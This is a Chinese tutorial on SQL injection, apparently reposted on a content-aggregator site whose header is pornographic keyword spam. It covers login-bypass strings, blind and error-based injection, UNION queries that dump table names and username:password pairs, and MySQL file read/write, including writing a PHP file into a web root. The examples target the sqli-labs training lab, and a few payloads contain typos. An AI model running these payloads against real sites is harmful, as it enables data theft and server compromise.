日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL注入原理及绕过技术

發布時間:2024/3/13 数据库 40 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入原理及绕过技术 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

sql注入產生的原因

萬能密碼介紹

sql注入驗證

mysql 5.x數據庫介紹

sql數據庫增刪改查

Mysql常用的聚合函數

mysql注釋

SQL注入的分類

報錯注入

盲注注入

user-agent 注入

referer 注入

cookie注入

sql注入方法

利用union查詢

嵌套注入

Mysql讀寫文件

?

?

?

?

?

?

?

?


sql注入產生的原因

程序開發過程中,由于不重視書寫規范,對sql關鍵字未進行過濾,導致客戶端可以通過POST或GET提交sql語句到服務器端正常運行

萬能密碼介紹

兩個萬能密碼

  • ' and '1' ='1
  • ' or '1' = '1

sql語句: select * from tables where username = ' '? and? password = ' '

這是我們可以使用萬能密碼進行繞過,直接使用用戶名進行登錄。例如將用戶名和萬能密碼拼接到一起,就可以看到以下語句。

select * from tables where username = ' admin ' or '1'='1 '? and? password = ' '

由于 or ‘1' ='1' 永遠正確,所以密碼無論輸入什么都能登錄成功。

sql注入驗證

利用以下三個方法,就可以完檢驗sql是否存在sql注入,如果頁面中mysql報錯,證明該頁面存在sql 注入漏洞 。

  • 單引號 '
  • and 1 = 1
  • and 1 = 2

例如 以靶場sqli-labs為例,在參數后面加入" ' ",頁面上會顯示Mysql報錯信息

mysql 5.x數據庫介紹

在mysql以上的版本中,為了方便管理,默認定義了information_schema數據庫,用來存儲數據庫元信息,其中具有表schema(數據庫名)、tables(表名)、columns(列名或字段名)

在schama表中,? schema_name 字段用來存儲數據庫名

在tables表中, ? ? table_schema和table_name 分別用來存儲數據庫名和表名

在columns表中, tables_schema(數據庫名)、table_name(表名)、column_name(列名或字段名)

根據這個結構,同時也方便了我們注入后利用union 查詢數據庫信息。

sql數據庫增刪改查

  • insert ? into ?? table_name(列名1,列名2)? values (值1,值2)
  • update 表名字? set? 列名稱 = 新值? where? 列名稱 = 舊值
  • delete? from ? 表名? where? 列名稱 = 值

Mysql常用的聚合函數

  • user() ? ? ? ?? 查看當前Mysql登錄用戶名
  • database() ? ? 查看當前使用Mysql數據庫名
  • version() ? ? ?? 查看當前Mysql版本
  • limit 關鍵字? limit m n? 從m行開始,向下n個結束

mysql注釋

  • #
  • --空格
  • /**/
  • 內聯注釋 /*!SQL語句*/,只有mysql可以識別,常用于繞過WAF

SQL注入的分類

產生原理:如果試圖將一個字符與非字符比較,或者將一個字符串轉化為另一個不兼容的類型,那么sql編輯器會拋出異常。

根據注入位置數據類型籠統將SQL注入分為:數字型和字符型,但也可以細分。下面我就仔細介紹一下。

報錯注入

GET基于報錯的注入

POST基于錯誤的注入

注入字段在post數據中

注入點位置發生了變化,在瀏覽器中無法直接進行修改與查看。可以借助burpsuit完成修改任務。

盲注注入

Blind SQL 是注入攻擊的其中一種,向數據庫發送true 或 false這樣的問題,并根據應用程序返回的信息判斷結果。這樣的攻擊的出現是因為應用程序配置為只顯示常規錯誤,但并沒有解決SQL注入存在的代碼問題。

基于時間(Time)的盲注??

?if(ascii(substr(database(),1,1 ) = 115 , 1 , sleep(3))?

基于布爾(Boolean)的盲注

?ascii(length(database() ) = ? N ? ? ? ? ?

user-agent 注入

注入字段在user-agent數據中

referer 注入

注入字段在referer數據中

cookie注入

注入字段在cookie數據中

sql注入方法

利用union查詢

1.判斷字段數

order by

2.union select 聯合查詢,獲取表名

0‘ union select 1,group_concat(table_name),3? from information_schema.tables? where table_schema = database() --+

3. union select 聯合查詢,獲取列名

0' union select 1, group_concat(column_name),3 from information_schema.columns? where? table_name = 'uisers' --+

4. union select 聯合查詢,獲取字段值

0' union select 1, group_concat(username,0x3a,password),3 from users --+

嵌套注入

嵌套形式上是兩個嵌套的查詢,即select....(select....),里面的那個select被稱為子查詢,他的執行順序也是先執行子查詢,然后在執行外面的select,雙注入主要涉及到的幾個sql函數

rand()隨機函數,返回0~1之間的某個值

floor(a)取整函數,=返回小于等于a,且值最接近a的一個整數

count()聚合函數也稱計數函數,返回查詢對象的總數

group by clause 分組語句,按照查詢結果分組

通過報錯來顯示出具體的信息。

1.查詢數據庫,用戶名,版本信息

0' union select 1,2,3 from (select count(*),concat( (select concat(version(),0x3a,database(),0x3a,user()) limit 0,1),floor(rand(0)*2))x from information_schama.tables group by x)a --+

2.查詢表名

0' union select 1,2,3? from (select count(*),concat((select concat(table_name,0x3a) from information_schema.tables where table_schema =database() limit 0,1),floor(rand(0)*2))x ? from information_schema.tables group by x )a --+

3.查詢用戶信息

0' union select 1,2,3? from (select count(*),concat((select concat(username,0x3a,password) from security.users limit 0,1),floor(rand(0)*2))x ? from information_schema.tables group by x )a --+

Mysql讀寫文件

讀寫前提

  • 用戶權限足夠高
  • securie_file_priv不為NULL
  • set globle general_log =on

讀文件:0' union select 1,load_file("D:\\flag.txt"),3? --+

寫文件:0‘ union select 1, <?php phpinfo; ?>,3 into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\2.php' ? --+

?

?

? ? ? ? ? ? ? ? ? ??

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

?

總結

以上是生活随笔為你收集整理的SQL注入原理及绕过技术的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。